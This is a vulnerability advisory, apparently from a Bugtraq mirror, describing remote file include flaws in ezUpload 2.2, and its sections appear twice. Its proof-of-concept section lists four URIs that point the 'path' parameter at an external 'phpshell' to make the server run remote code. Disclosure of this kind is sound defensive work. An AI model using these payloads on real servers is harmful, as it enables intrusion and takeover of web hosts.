EZUpload Multiple Remote File Include Vulnerabilities
BID:14534
Info
EZUpload Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 14534 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 10 2005 12:00AM |
| Updated: | Aug 10 2005 12:00AM |
| Credit: | Johnnie Walker <[email protected]> is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
ezUpload ezUpload 2.2 |
| Not Vulnerable: | |
Discussion
EZUpload Multiple Remote File Include Vulnerabilities
ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
Exploit / POC
EZUpload Multiple Remote File Include Vulnerabilities
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/ezupload/customize.php?path=http://www.example.com/phpshell?&
http://www.example.com/ezupload/form.php?path=http://www.example.com/phpshell?&
http://www.example.com/ezupload/index.php?path=http://www.example.com/phpshell?&
http://www.example.com/ezupload/initialize.php?path=http://www.example.com/phpshell?&
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/ezupload/customize.php?path=http://www.example.com/phpshell?&
http://www.example.com/ezupload/form.php?path=http://www.example.com/phpshell?&
http://www.example.com/ezupload/index.php?path=http://www.example.com/phpshell?&
http://www.example.com/ezupload/initialize.php?path=http://www.example.com/phpshell?&
Solution / Fix
EZUpload Multiple Remote File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.